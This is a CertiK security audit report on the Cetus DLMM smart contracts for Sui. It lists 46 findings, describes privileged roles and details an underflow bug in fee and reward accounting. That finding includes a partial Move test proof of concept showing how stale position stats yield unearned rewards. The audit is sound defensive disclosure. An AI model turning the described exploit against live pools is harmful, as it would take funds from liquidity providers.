CERTIK

Cetus - DLMM

Security Assessment

CertiK Assessed on Oct 16th, 2026



CertiK Assessed on Oct 16th, 2026

Cetus - DLMM

The security assessment was prepared by CertiK.

Executive Summary

TYPES	ECOSYSTEM	METHODS
DEX	Sui (SUI)	Manual Review, Static Analysis

LANGUAGE	TIMELINE
Move	Preliminary comments published on 09/04/2025
	Final report published on 10/16/2026

Vulnerability Summary



46	35	0	11	0
Total Findings	Resolved	Partially Resolved	Acknowledged	Declined

1	Centralization	1 Acknowledged	Centralization findings highlight privileged roles & functions and their capabilities, or instances where the project takes custody of users' assets.
0	Critical		Critical risks are those that impact the safe functioning of a platform and must be addressed before launch. Users should not invest in any project with outstanding critical risks.
2	Major	2 Resolved	Major risks may include logical errors that, under specific circumstances, could result in fund losses or loss of project control.
2	Medium	2 Resolved	Medium risks may not pose a direct risk to users' funds, but they can affect the overall functioning of a platform.
16	Minor	13 Resolved, 3 Acknowledged	Minor risks can be any of the above, but on a smaller scale. They generally do not compromise the overall integrity of the project, but they may be less efficient than other solutions.
25	Informational	18 Resolved, 7 Acknowledged	Informational errors are often recommendations to improve the style of the code or certain operations to fall within industry best practices. They usually do not affect the overall functioning of the code.

TABLE OF CONTENTS | CETUS - DLMM

Audit Summary

Executive Summary

Vulnerability Summary

Codebase

Audit Scope

Approach & Methods

Review Notes

Overview

Scope of Work

External Dependencies

Privileged Roles

Upgradeability

Findings

CED-25 : Centralization Related Risks And Upgradability

CED-08 : User Fee And Reward Underflow Caused By `pool.bin_manager.remove_bin()`

CED-09 : `take_reward_from_close_position_cert()` Can Use Rewards From Other Pools To Pay Rewards Of Position Certificate

CED-29 : Emergency Pause Ignored When Active Bin Is Empty

CED-30 : Collect-Fee/Reward Pause Can Be Bypassed By Closing Positions

CED-05 : Incorrect Event Emission On Multiple Liquidity Additions To Active Bin

CED-12 : Add/Remove/Repay Liquidity Sequence Allows Flashloan Like Operation With No Cost

CED-15 : Inconsistency In Fee Rate Enforcement

CED-16 : `initialize_reward` And `add_reward` Can Be Executed When `emergency_reward_pause`

CED-22 : By Paying Swap Fees To Avoid Composition Fees From Unbalanced Liquidity During `add_liquidity()` And `open_position()`

CED-23 : `fetch_bins() ` Fetches Bins From The Start Of `BinGroup` Instead Of The `Start` Bin ID

CED-24 : Discussion On `reward_refunded`

CED-27 : Incorrect Fee Calculation Due To Stale `active_id` In Swaps

CED-28 : Fee Sync Blocked By Reward Permission In `update_position_fee_and_rewards`

CED-35 : Empty Bins Can Be Marked As Used

CED-42 : Repay Accepts Partially Filled OpenPositionCert (Next_bin_id Is Never Checked), Letting Users Finalize An “Incomplete” Open

CED-44 : `expected_active_id` Consumed And Skip Following Operations In Loop

CED-45 : Permissionless Empty Bin Groups Can Exhaust Sui'S Object-Runtime Cache And Block Swaps

CED-46 : Liquidity Updates Can Postpone Dynamic Fee Decay

CED-47 : Zero-Amount Liquidity Entries Persist Empty Bin Groups

CED-48 : Rounded Pro-Rata Comparisons Can Skip Composition Fees

CED-01 : Reward Distributed Does Not Consider Crossed-Bins Swaps

CED-02 : Incorrect Boundary Check In `push_back()` Function

CED-03 : Missing Check Of The Overflow

CED-06 : Inconsistency Between `SwapEvent` Values And Comments

CED-07 : Confirmation On Operation Permission Of Ctx.Sender() In Pool And Registry

CED-10 : Reward Manager Is Public By Default

CED-11 : `remove_liquidity()` Can Use `bin_id` Outside The `[lower_bin_id, upper_bin_id]` Range In Bins

CED-14 : Manager Initialized Rewards Would Consume `non_manager_initialize_reward_cap`

CED-17 : Duplicate Reward Rate Increment In `add_reward`

CED-18 : Unremovable `period_emission_rates` Records

CED-20 : Functions Without `check_version`

CED-26 : Inconsistency Between Implementation And Comment

CED-32 : Missing Per-Bin Bounds Check In `add_liquidity`

CED-33 : Discussions On Bin Step Setups

CED-34 : Discussions On Potential DoS After Pool Creation

CED-36 : Discussions Overflows In Reward Emission Process

CED-37 : Inconsistent Bin Fetching Results When `limit == 0`

CED-38 : Concerns About The Usage Of `with_original_ids` For Token Type

CED-39 : Empty-Bin Rollover Misallocates Rewards

CED-40 : Paused Interval Can Be Bypassed If No Settlement Occurs Before Unpause

CED-41 : Concerns About Fee Calculation May Round Down

CED-43 : The Updated `add_group_if_absent` Needs To Be Synchronized With Other Components

CED-49 : Single-Word Growth Counters Lose Accrual Across Full Cycles

CED-50 : Checkpoint Updates Discard Position-Level Remainders

CED-51 : Bin Growth Accounting Discards Distribution Remainders

Appendix

Disclaimer

CODEBASE | CETUS - DLMM

Repository

https://github.com/CetusProtocol/cetus-dlmm

Commit

57ba7dc0c7471d99e911202bb68762373c8e79f4

160846ec4eb36bd5b9db416c015069a8c7d7e759

f442ca0db0bd8c0e502029831fe3a1a2e960d038

80530ae53d162e4da26aeb665de305e17fb7768e

098cf12dcf1a499362592e7faf1c84473313d936

4acdcb59b3ca08981c035459cc4de787a783d6b0

bdd18518b29fb17e55b33566ebd90f18e243c44f

abf32f00e8ff039833f0a4da9110d75ce21c05aa

81af9930a0341a689b71dea6c39bad0a3997b08d

cd0c803861e569be4a50defba26ca9d10725272c

d1037ffc7ff7ffd314411d1a723aab0e2551d290

324397b6df2d2af9444024482890d0bcf6fdb706

741b9240616961549305c56074de9e467fdfd270

2fba63d1dddbdd89cb9b59241af7d2f077544f6f

0bf9b507c40c3c91c080354d1528053d8d1befb6

f317a94e34ebe558226027543884ec27a9b81285

e43f85791b90c54c54d3d494f2c225f6df85d2c3

4f6e1fd913b1439ad6bcf903ee8ca8a12694238b

Audit Scope

The files in scope are listed in the appendix.

APPROACH & METHODS | CETUS - DLMM

This audit was conducted for Cetus to evaluate the security and correctness of the smart contracts associated with the Cetus - DLMM project. The assessment included a comprehensive review of the in-scope smart contracts. The audit was performed using a combination of Manual Review and Static Analysis.

The review process emphasized the following areas:

- Architecture review and threat modeling to understand systemic risks and identify design-level flaws.
- Identification of vulnerabilities through both common and edge-case attack vectors.
- Manual verification of contract logic to ensure alignment with intended design and business requirements.
- Dynamic testing to validate runtime behavior and assess execution risks.
- Assessment of code quality and maintainability, including adherence to current best practices and industry standards.

The audit resulted in findings categorized across multiple severity levels, from informational to critical. To enhance the project's security and long-term robustness, we recommend addressing the identified issues and considering the following general improvements:

- Improve code readability and maintainability by adopting a clean architectural pattern and modular design.
- Strengthen testing coverage, including unit and integration tests for key functionalities and edge cases.
- Maintain meaningful inline comments and documentations.
- Implement clear and transparent documentation for privileged roles and sensitive protocol operations.
- Regularly review and simulate contract behavior against newly emerging attack vectors.

REVIEW NOTES | CETUS - DLMM

Overview

The **Cetus** is a pioneer DEX and concentrated liquidity protocol built on the Sui blockchain, the audit is focus on the DLMM(Dynamic Liquidity Market Maker).

Scope of Work

CertiK conducted the audit based on the codebase available at CetusProtocol/cetus-dlmm. The audit covered from the initial commit `57ba7dc0c7471d99e911202bb68762373c8e79f4` to the final commit `cd0c803861e569be4a50defba26ca9d10725272c`.

The audit primarily focused on the DLMM core module and its dependencies maintained by the Cetus Protocol. As part of the process, CertiK reviewed and verified that the functions used by DLMM from the following repositories were correctly implemented and free of security vulnerabilities in the context of the DLMM project:

- integer_mate
- move_stl

External Dependencies

The project is developed using the Move language and running on the top of the Sui blockchain. The vulnerability and the updates of the language/Sui framework may affect the project as a whole. As the Sui network is rapidly evolving, to avoid any potential compatibility issues and take advantage of new features and improvements, the client should upgrade the Sui framework to the most recent version. Additionally, staying informed about any upcoming updates or changes to the language or framework can help ensure the project remains secure and compatible.

The above dependencies are not within the current audit scope and serve as a black box. Modules/Contracts within the module are assumed to be valid and non-vulnerable actors in this audit and implement proper logic to collaborate with the current project and other modules.

Privileged Roles

To set up the project correctly and ensure that the project functions properly, owners of the following objects are able to use privileged functions, more details in the **Centralization** findings.

The advantage of the privileged role in the codebase is that the client reserves the ability to adjust the protocol according to the runtime required to serve the community best. It is also worthy of note the potential drawbacks of these functions, which should be clearly stated through the client's action/plan. Additionally, if the key pairs of privileged accounts are compromised, the project could have devastating consequences.

To improve the trustworthiness of the project, dynamic runtime updates in the project should be notified to the community. Furthermore, any plan to invoke the aforementioned functions should also be considered to move to the execution queue of the `Timelock` contract.

Upgradeability

Developers working with the Sui blockchain have the ability to upgrade packages based on their software iteration requirements. However, this also means that the `UpgradeCap` and publisher's key store should be handled with caution to prevent any unexpected loss. Additionally, it is important to inform the community about any upgrade plans to address concerns related to centralization and ensure transparency.

Reference:

- Sui Package Upgrades
- Custom Policies

FINDINGS | CETUS - DLMM



46	0	1	2	2	16	25
Total Findings	Critical	Centralization	Major	Medium	Minor	Informational

This report has been prepared for Cetus to identify potential vulnerabilities and security issues within the reviewed codebase. During the course of the audit, a total of 46 issues were identified. Leveraging a combination of Manual Review & Static Analysis the following findings were uncovered:

ID	Title	Category	Severity	Status
CED-25	**Centralization Related Risks And Upgradability**	**Centralization**	**Centralization**	**Acknowledged**
CED-08	User Fee And Reward Underflow Caused By `pool.bin_manager.remove_bin()`	Logical Issue	Major	Resolved
CED-09	`take_reward_from_close_position_cert()` Can Use Rewards From Other Pools To Pay Rewards Of Position Certificate	Denial of Service, Logical Issue	Major	Resolved
CED-29	Emergency Pause Ignored When Active Bin Is Empty	Logical Issue	Medium	Resolved
CED-30	Collect-Fee/Reward Pause Can Be Bypassed By Closing Positions	Logical Issue	Medium	Resolved
CED-05	Incorrect Event Emission On Multiple Liquidity Additions To Active Bin	Logical Issue	Minor	Resolved
CED-12	Add/Remove/Repay Liquidity Sequence Allows Flashloan Like Operation With No Cost	Logical Issue	Minor	Resolved
CED-15	Inconsistency In Fee Rate Enforcement	Volatile Code	Minor	Resolved
CED-16	`initialize_reward` And `add_reward` Can Be Executed When `emergency_reward_pause`	Logical Issue	Minor	Resolved

ID	Title	Category	Severity	Status
CED-22	By Paying Swap Fees To Avoid Composition Fees From Unbalanced Liquidity During `add_liquidity()` And `open_position()`	Logical Issue	Minor	Resolved
CED-23	`fetch_bins()` Fetches Bins From The Start Of `BinGroup` Instead Of The `Start` Bin ID	Inconsistency	Minor	Resolved
CED-24	Discussion On `reward_refunded`	Design Issue	Minor	Resolved
CED-27	Incorrect Fee Calculation Due To Stale `active_id` In Swaps	Volatile Code	Minor	Resolved
CED-28	Fee Sync Blocked By Reward Permission In `update_position_fee_and_rewards`	Logical Issue	Minor	Resolved
CED-35	Empty Bins Can Be Marked As Used	Logical Issue	Minor	Resolved
CED-42	Repay Accepts Partially Filled OpenPositionCert (Next_bin_id Is Never Checked), Letting Users Finalize An “Incomplete” Open	Volatile Code	Minor	Resolved
CED-44	`expected_active_id` Consumed And Skip Following Operations In Loop	Volatile Code	Minor	Resolved
CED-45	Permissionless Empty Bin Groups Can Exhaust Sui’S Object-Runtime Cache And Block Swaps	Volatile Code	Minor	Acknowledged
CED-46	Liquidity Updates Can Postpone Dynamic Fee Decay	Logical Issue	Minor	Resolved
CED-47	Zero-Amount Liquidity Entries Persist Empty Bin Groups	Volatile Code	Minor	Acknowledged
CED-48	Rounded Pro-Rata Comparisons Can Skip Composition Fees	Volatile Code	Minor	Acknowledged
CED-01	Reward Distributed Does Not Consider Crossed-Bins Swaps	Volatile Code	Informational	Acknowledged

ID	Title	Category	Severity	Status
CED-02	Incorrect Boundary Check In `push_back()` Function	Volatile Code	Informational	Resolved
CED-03	Missing Check Of The Overflow	Volatile Code	Informational	Resolved
CED-06	Inconsistency Between `SwapEvent` Values And Comments	Inconsistency	Informational	Resolved
CED-07	Confirmation On Operation Permission Of Ctx.Sender() In Pool And Registry	Logical Issue	Informational	Resolved
CED-10	Reward Manager Is Public By Default	Volatile Code	Informational	Acknowledged
CED-11	`remove_liquidity()` Can Use `bin_id` Outside The `[lower_bin_id, upper_bin_id]` Range In Bins	Logical Issue	Informational	Resolved
CED-14	Manager Initialized Rewards Would Consume `non_manager_initialize_reward_cap`	Volatile Code	Informational	Resolved
CED-17	Duplicate Reward Rate Increment In `add_reward`	Logical Issue	Informational	Resolved
CED-18	Unremovable `period_emission_rates` Records	Logical Issue	Informational	Resolved
CED-20	Functions Without `check_version`	Logical Issue	Informational	Resolved
CED-26	Inconsistency Between Implementation And Comment	Inconsistency	Informational	Resolved
CED-32	Missing Per-Bin Bounds Check In `add_liquidity`	Logical Issue	Informational	Resolved
CED-33	Discussions On Bin Step Setups	Logical Issue	Informational	Resolved
CED-34	Discussions On Potential DoS After Pool Creation	Logical Issue	Informational	Resolved

ID	Title	Category	Severity	Status
CED-36	Discussions Overflows In Reward Emission Process	Logical Issue	Informational	Resolved
CED-37	Inconsistent Bin Fetching Results When `limit == 0`	Coding Issue	Informational	Resolved
CED-38	Concerns About The Usage Of `with_original_ids` For Token Type	Design Issue	Informational	Resolved
CED-39	Empty-Bin Rollover Misallocates Rewards	Volatile Code	Informational	Acknowledged
CED-40	Paused Interval Can Be Bypassed If No Settlement Occurs Before Unpause	Volatile Code	Informational	Resolved
CED-41	Concerns About Fee Calculation May Round Down	Volatile Code	Informational	Resolved
CED-43	The Updated `add_group_if_absent` Needs To Be Synchronized With Other Components	Inconsistency	Informational	Acknowledged
CED-49	Single-Word Growth Counters Lose Accrual Across Full Cycles	Volatile Code	Informational	Acknowledged
CED-50	Checkpoint Updates Discard Position-Level Remainders	Volatile Code	Informational	Acknowledged
CED-51	Bin Growth Accounting Discards Distribution Remainders	Logical Issue	Informational	Acknowledged

CED-25 | Centralization Related Risks And Upgradability

Category	Severity	Location	Status
Centralization	**Centralization**		**Acknowledged**

Description

The holder of role **AdminCap** has authority over the functions:

- config::set_roles
- config::remove_member
- config::emergency_unpause_v2 (config::emergency_unpause deprecated)
- pool::mint_protocol_fee_collect_cap
- versioned::upgrade

The role **POOL_MANAGER** has authority over the functions:

- pool::update_permissions
- pool::update_base_fee_rate
- pool::emergency_pause_reward_v2(pool::emergency_pause_reward deprecated)
- pool::emergency_unpause_reward_v2(pool::emergency_unpause_reward deprecated)

The role **CONFIG_MANAGER** has authority over the functions:

- config::add_bin_config
- config::update_bin_config
- config::delete_bin_config
- config::add_allowed_list
- config::remove_allowed_list
- config::add_denied_list
- config::remove_denied_list

The role **PROTOCOL_FEE_MANAGER** has authority over the functions:

- pool::collect_protocol_fee
- pool::collect_protocol_fee_with_cap(with ProtocolFeeCollectCap and ProtocolFeeCollectCap has PROTOCOL_FEE_MANAGER role)

The role **PARTNER_MANAGER** has authority over the functions:

- partner::create_partner
- partner::update_ref_fee_rate

- partner::update_time_range_v2(partner::update_time_range deprecated)

The role **REWARD_MANAGER** has authority over the functions:

- config::set_min_reward_duration,
- config::set_manager_reserved_reward_init_slots,
- config::add_reward_whitelist,
- config::remove_reward_whitelist
- config::make_reward_public
- config::make_reward_private
- pool::make_reward_public
- pool::make_reward_private
- pool::initialize_reward (required if rewards are not public)
- pool::add_reward (required if rewards are not public)
- pool::emergency_withdraw_refund_reward

The role **RESTRICTION_MANAGER** has authority over the functions:

- config::block_user
- config::block_position
- config::unblock_user
- config::unblock_position

The role **EMERGENCY_PAUSE_MANAGER** has authority over the functions:

- config::emergency_pause

The holder of **PartnerCap** has authority over:

- claim_ref_fee

The role **POOL_MANAGER** has authority over the functions:

- pool::remove_empty_bin_group

The role **REWARD_MANAGER** has authority over the functions:

- pool::emergency_withdraw_settlement_overflow_reward

In addition, developers working with the Sui blockchain can upgrade packages based on their software iteration requirements. However, this also means that the `UpgradeCap` and deployer's key store should be handled carefully to prevent any unexpected losses. It is important to inform the community about any upgrade plans to address concerns related to centralization and ensure transparency.

More information can be found:

- Sui Package Upgrades

- Third-Party Package upgrades

Recommendation

The risk describes the current project design and potentially makes iterations to improve in the security operation and level of decentralization, which in most cases cannot be resolved entirely at the present stage. We advise the client to carefully manage the privileged account's private key to avoid any potential risks of being hacked. In general, we strongly recommend centralized privileges or roles in the protocol be improved via a decentralized mechanism or smart-contract-based accounts with enhanced security practices, e.g., multisignature wallets.

Indicatively, here are some feasible suggestions that would also mitigate the potential risk at a different level in terms of short-term, long-term and permanent:

Short Term:

Timelock and Multi sign (⅔, ⅗) combination *mitigate* by delaying the sensitive operation and avoiding a single point of key management failure.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Assignment of privileged roles to multi-signature wallets to prevent a single point of failure due to the private key compromised;
  AND
- A medium/blog link for sharing the timelock contract and multi-signers addresses information with the public audience.

Long Term:

Timelock and DAO, the combination, *mitigate* by applying decentralization and transparency.

- Time-lock with reasonable latency, e.g., 48 hours, for awareness on privileged operations;
  AND
- Introduction of a DAO/governance/voting module to increase transparency and user involvement.
  AND
- A medium/blog link for sharing the timelock contract, multi-signers addresses, and DAO information with the public audience.

Permanent:

Renouncing the ownership or removing the function can be considered *fully resolved*.

- Renounce the ownership and never claim back the privileged roles.
  OR
- Remove the risky functionality.

Alleviation

[Cetus, 09/16/2025]: We acknowledge the centralization risks highlighted in this finding. To mitigate this, the project team has adopted a **multi-signature scheme** to manage the `AdminCap` .

All sensitive operations under `AdminCap` will require approval from multiple signers, avoiding any single point of failure.

This ensures that no individual can unilaterally perform privileged actions, significantly reducing the centralization risk.

In addition, we will apply enhanced key management practices for `UpgradeCap` and privileged roles to further strengthen security.

Through this design, the risk of misuse or compromise of privileged accounts is minimized.

CED-08 User Fee And Reward Underflow Caused By `pool.bin_manager.remove_bin()`

Category	Severity	Location	Status
Logical Issue	Major	packages/cetus_dlmm/sources/pool.move (init-57ba7dc): 1014~1016, 1277~1279; packages/cetus_dlmm/sources/position.move (init-57ba7dc): 1062, 1101, 1105	Resolved

Description

When `remove_liquidity()` and `close_position()` remove a bin whose `liquidity` is 0, it deletes all data for that bin:

`pool.move`

```
 1014          if (bin.liquidity_supply() == 0) {
 1015  @>          pool.bin_manager.remove_bin(bin_id);
 1016          };
```

`pool.move`

```
 1277              if (bin.liquidity_supply() == 0) {
 1278  @>              pool.bin_manager.remove_bin(bin_id);
 1279              };
```

`bin.move`

```
 180  public(package) fun remove_bin(bin_manager: &mut BinManager, id: I32) {
 181      assert!(bin_manager.contains(id), EBinNotExists);
 182      let bin = bin_manager.bins.remove(bin_score(id));
 183      let Bin {
 184          amount_a,
 185          amount_b,
 186          liquidity_supply,
 187  @>      ..,
 188      } = bin;
 189      assert!(amount_a == 0 && amount_b == 0 && liquidity_supply == 0,
EBinNotEmpty);
 190  }
```

However, that data includes `rewards_growth_global`, `fee_a_growth_global`, and `fee_b_growth_global`. Although these fields are deleted from the `binManager`'s bin, the corresponding entries in `PositionManager` — `positions[id].stats` for that `bin_id` — are **not** reset to `0` in `remove_liquidity()`.

`bin.move`

```
79 public struct Bin has store {
80     id: I32,
81     amount_a: u64,
82     amount_b: u64,
83     price: u128,
84     liquidity_supply: u128,
85 @>  rewards_growth_global: vector<u128>,
86 @>  fee_a_growth_global: u128,
87 @>  fee_b_growth_global: u128,
88 }
```

If a user later adds liquidity to that same bin, the bin-local `rewards_growth_global`, `fee_a_growth_global` and `fee_b_growth_global` will start being re-computed from `0`. Those newly computed values will often be **smaller** than the stale values stored in `PositionManager[id].stats`. If, when calling `calculate_amount_by_growth`, the user's `liquidity` is non-zero, the `growth_delta` calculation can underflow. Therefore the attacker needs to trigger an underflow in `calculate_amount_by_growth` while the liquidity is non-zero, allowing them to extract large profits from the underflow in fees and rewards.

`position.move`

```
1045  fun update_reward_per_bin(
1046      bin_stat: &mut BinStat,
1047      rewards_growth: vector<u128>,
1048      rewards_owned: &mut vector<u64>,
1049  ) {
1050      if (rewards_growth.is_empty()) {
1051          return
1052      };
1053      let reward_count = rewards_growth.length();
1054      let inited_count = bin_stat.rewards_growth.length();
1055      assert!(inited_count <= reward_count, EPositionRewardIndexOutOfRange);
1056      let mut reward_idx = 0;
1057      while (reward_idx < reward_count) {
1058          let reward_growth_global = rewards_growth[reward_idx];
1059          let reward_amount = if (inited_count > reward_idx) {
1060              let reward_growth = bin_stat.rewards_growth.borrow_mut(
reward_idx as u64);
1061              let reward_amount = calculate_amount_by_growth(
1062  @>              math_u128::wrapping_sub(reward_growth_global, *reward_growth)
,
1063                  bin_stat.liquidity_share,
1064              );
1065              *reward_growth = reward_growth_global;
1066              reward_amount
1067          } else {
1068              let reward_amount = calculate_amount_by_growth(
1069                  reward_growth_global,
1070                  bin_stat.liquidity_share,
1071              );
1072              bin_stat.rewards_growth.push_back(reward_growth_global);
1073              reward_amount
1074          };
1075          if (rewards_owned.length() <= reward_idx) {
1076              rewards_owned.push_back(reward_amount as u64);
1077          } else {
1078              let reward_owned = rewards_owned.borrow_mut(reward_idx);
1079              *reward_owned = *reward_owned + (reward_amount as u64);
1080          };
1081          reward_idx = reward_idx + 1;
1082      };
1083  }
```

`position.move`

```
1093  fun update_fee_per_bin(
1094      bin_stat: &mut BinStat,
1095      fee_a_growth_global: u128,
1096      fee_b_growth_global: u128,
1097      fee_a_owned: &mut u64,
1098      fee_b_owned: &mut u64,
1099  ) {
1100      let fee_a = calculate_amount_by_growth(
1101  @>      math_u128::wrapping_sub(fee_a_growth_global, bin_stat.fee_a_growth),
1102          bin_stat.liquidity_share,
1103      );
1104      let fee_b = calculate_amount_by_growth(
1105  @>      math_u128::wrapping_sub(fee_b_growth_global, bin_stat.fee_b_growth),
1106          bin_stat.liquidity_share,
1107      );
1108      bin_stat.fee_a_growth = fee_a_growth_global;
1109      bin_stat.fee_b_growth = fee_b_growth_global;
1110      *fee_a_owned = *fee_a_owned + (fee_a as u64);
1111      *fee_b_owned = *fee_b_owned + (fee_b as u64);
1112  }
```

`position.move`

```
364  public fun calculate_amount_by_growth(growth_delta: u128, liquidity: u128): u64
 {
365  @>  if (growth_delta == 0 || liquidity == 0) {
366          return 0
367      };
368      let r =
369          full_math_u128::full_mul(growth_delta, liquidity) / (1u256 << (
scale_offset() + scale_offset()));
370      assert!(r < std::u64::max_value!() as u256, EAmountOverflow);
371      r as u64
372  }
```

`math_u128.move`

```
25      public fun wrapping_sub(n1: u128, n2: u128): u128 {
26          let (result, _) = overflowing_sub(n1, n2);
27          result
28      }
29
30      public fun overflowing_sub(n1: u128, n2: u128): (u128, bool) {
31          if (n1 >= n2) {
32              ((n1 - n2), false)
33          } else {
34              ((MAX_U128 - n2 + n1 + 1), true)
35          }
36      }
37
```

For **fees**, because the position bin_stat's liquidity_share was `0` before `add_liquidity()`, `calculate_amount_by_growth` will directly return `0`, and `update_fee_per_bin` will execute correctly, and `fee_a_growth` and `fee_b_growth` will be updated from their old values (the values before the bin was removed) to the new current values.

`position.move`

```
1093  fun update_fee_per_bin(
1094      bin_stat: &mut BinStat,
1095      fee_a_growth_global: u128,
1096      fee_b_growth_global: u128,
1097      fee_a_owned: &mut u64,
1098      fee_b_owned: &mut u64,
1099  ) {
1100      let fee_a = calculate_amount_by_growth(
1101          math_u128::wrapping_sub(fee_a_growth_global, bin_stat.fee_a_growth),
1102          bin_stat.liquidity_share,
1103      );
1104      let fee_b = calculate_amount_by_growth(
1105          math_u128::wrapping_sub(fee_b_growth_global, bin_stat.fee_b_growth),
1106          bin_stat.liquidity_share,
1107      );
1108  @>  bin_stat.fee_a_growth = fee_a_growth_global;
1109  @>  bin_stat.fee_b_growth = fee_b_growth_global;
1110      *fee_a_owned = *fee_a_owned + (fee_a as u64);
1111      *fee_b_owned = *fee_b_owned + (fee_b as u64);
1112  }
```

For **rewards**, however, if the user adds liquidity at the exact same time as the last `pool.reward_manager.settle_rewards` (so that `settle_rewards` returns an empty `accumulated_rewards`), the new bin will not get a `bin.accumulate_rewards` update.

`pool.move`

```
236  fun reward_settle<CoinTypeA, CoinTypeB>(pool: &mut Pool<CoinTypeA, CoinTypeB>,
clk: &Clock) {
237  @>  let accumulated_rewards = pool.reward_manager.settle_rewards(clk);
238  @>  if (accumulated_rewards.is_empty()) {
239  @>      return
240      };
241      // If the active bin is empty, refund the rewards
242      if (pool.bin_manager.is_active_bin_empty(pool.active_id)) {
243          pool.reward_manager.rollover_refunds_into_remaining_time(
accumulated_rewards, clk);
244          return
245      };
246      if (pool.reward_manager.emergency_reward_pause()) {
247          pool.reward_manager.refund_rewards(accumulated_rewards);
248          return
249      };
250      let bin = pool.bin_manager.borrow_bin_mut(pool.active_id);
251      bin.accumulate_rewards(accumulated_rewards);
252  }
```

```
281  public(package) fun settle_rewards(manager: &mut RewardManager, clk: &Clock):
vector<u128> {
282      let last_updated_time = manager.last_updated_time;
283      let current_time = clk.timestamp_ms() / 1000;
284  @>  if (current_time == last_updated_time) {
285  @>      return vector::empty()
286  @>  };
```

In that case, the bin's `rewards_growth_global` remains empty (length `0`), and it does not update the position's `positions[id].stats` for the corresponding `bin_id` before the bin is removed(because `rewards_growth.is_empty()` is true). In addition, it ensures that the liquidity (`bin_stat.liquidity_share`) in `calculate_amount_by_growth` remains greater than zero afterward.

`position.move`

```
1045  fun update_reward_per_bin(
1046      bin_stat: &mut BinStat,
1047      rewards_growth: vector<u128>,
1048      rewards_owned: &mut vector<u64>,
1049  ) {
1050  @>  if (rewards_growth.is_empty()) {
1051  @>      return
1052      };
1053  }
```

Because this bin_stat `liquidity_share` is now > 0, the `calculate_amount_by_growth` underflow condition can occur. Later, when `active_id` changes to this bin and an attacker calls `add_liquidity` (or other action triggers a

`pool.reward_settle` and `bin_stat.update_reward_per_bin()`), the underflow in `calculate_amount_by_growth` can cause the user to receive rewards that do **not** belong to them.

Proof of Concept

The following test describes the scenario in which the user gains extra rewards due to bin removal and re-creation:

```
#[test_only]
module cetusdlmm::underflow_poc_test;
use cetusdlmm::pool;
use cetusdlmm::strategy;
use cetusdlmm::swap_cases::{test_setup_custom_pool, A, B, cleanup};
use integer_mate::i32;
use std::debug;
use std::string;
use sui::balance;
use sui::object;
/// WORKING PoC - Demonstrates the ACTUAL underflow vulnerability exploitation
/// This reproduces the exact conditions described in the vulnerability report
#[test]
fun test_underflow_exploitation_working3() {
    // Setup pool using the proven working pattern
    let (mut scenario, config, versioned, mut pool, clk) = test_setup_custom_pool(
        i32::from(0), // active_id
        2,           // bin_step
        10000        // base_factor
    );

    scenario.next_tx(@0x100); // Attacker's address
    let ctx = scenario.ctx();

    debug::print(&string::utf8(b"=== ACTUAL UNDERFLOW VULNERABILITY EXPLOITATION
==="));

    // Step 1: Create position and establish initial stats
    let (bin_ids, amounts_a, amounts_b) = strategy::both_side_amounts(
        i32::neg_from(2), // from -2
        i32::from(2),     // to +2
        i32::from(0),     // active 0
        2,                // bin_step
        0,                // existing_a
        0,                // existing_b
        1000000u64,       // desired_a
        1000000u64        // desired_b
    );

    let (mut position, receipt) = pool.open_position(
        bin_ids,
        amounts_a,
        amounts_b,
        &config,
        &versioned,
        &clk,
        ctx,
    );
```

```
    let (amount_a, amount_b) = receipt.amounts<A, B>();
    let (balance_a, balance_b) = (
        balance::create_for_testing<A>(amount_a),
        balance::create_for_testing<B>(amount_b),
    );
    pool.repay_add_liquidity<A, B>(balance_a, balance_b, receipt, &versioned);

    debug::print(&string::utf8(b"Step 1: Position created with initial stats"));

    // Step 2: Force accumulation through multiple add/remove cycles
    // This simulates fee/reward accumulation over time
    debug::print(&string::utf8(b"Step 2: Forcing fee accumulation through add/remove
cycles"));

    // Add more liquidity to create activity
    let receipt_extra = pool.add_liquidity<A, B>(
        &mut position,
        bin_ids,
        amounts_a,
        amounts_b,
        &config,
        &versioned,
        &clk,
        ctx,
    );

    let (amount_a_extra, amount_b_extra) = receipt_extra.amounts<A, B>();
    let (balance_a_extra, balance_b_extra) = (
        balance::create_for_testing<A>(amount_a_extra),
        balance::create_for_testing<B>(amount_b_extra),
    );
    pool.repay_add_liquidity<A, B>(balance_a_extra, balance_b_extra, receipt_extra,
&versioned);

    debug::print(&string::utf8(b"Added extra liquidity to create growth
accumulation"));

    // Step 3: Remove MOST liquidity (but not all) to keep bins alive with
accumulated stats
    let liquidity_shares_partial = position.liquidity_shares();
    debug::print(&string::utf8(b"Step 3: Removing partial liquidity first"));

    // Remove only 80% to keep bins alive but accumulate stats
    let mut partial_shares = vector::empty<u128>();
    let mut i = 0;
    while (i < liquidity_shares_partial.length()) {
        let original_share = *liquidity_shares_partial.borrow(i);
        let partial_share = original_share * 80 / 100; // Remove 80%
        partial_shares.push_back(partial_share);
        i = i + 1;
```

```
    };

    let (return_partial_a, return_partial_b) = pool.remove_liquidity<A, B>(
        &mut position,
        bin_ids,
        partial_shares,
        &config,
        &versioned,
        &clk,
        ctx,
    );

    return_partial_a.destroy_for_testing();
    return_partial_b.destroy_for_testing();

    // Step 4: Now remove the REMAINING liquidity to delete bins and make position
stats STALE
    let remaining_shares = position.liquidity_shares();
    debug::print(&string::utf8(b"Step 4: Removing ALL remaining liquidity - bins
will be DELETED"));
    let (return_a, return_b) = pool.remove_liquidity<A, B>(
        &mut position,
        bin_ids,
        remaining_shares,
        &config,
        &versioned,
        &clk,
        ctx,
    );

    let initial_return_a = return_a.value();
    let initial_return_b = return_b.value();
    debug::print(&string::utf8(b"Step 3: ALL LIQUIDITY REMOVED - bins deleted,
position stats STALE"));
    debug::print(&initial_return_a);
    debug::print(&initial_return_b);

    return_a.destroy_for_testing();
    return_b.destroy_for_testing();

    // Step 4: Add liquidity again to SAME bins - this recreates bins with FRESH
stats
    // but position retains STALE stats - THIS IS THE VULNERABILITY CONDITION!
    debug::print(&string::utf8(b"Step 4: Re-adding liquidity - VULNERABILITY
TRIGGERED"));

    let receipt2 = pool.add_liquidity<A, B>(
        &mut position,
        bin_ids,
        amounts_a,
```

```
        amounts_b,
        &config,
        &versioned,
        &clk,
        ctx,
    );

    let (amount_a2, amount_b2) = receipt2.amounts<A, B>();
    let (balance_a2, balance_b2) = (
        balance::create_for_testing<A>(amount_a2),
        balance::create_for_testing<B>(amount_b2),
    );
    pool.repay_add_liquidity<A, B>(balance_a2, balance_b2, receipt2, &versioned);

    // Step 5: Now verify the DESYNC - bin stats fresh, position stats stale
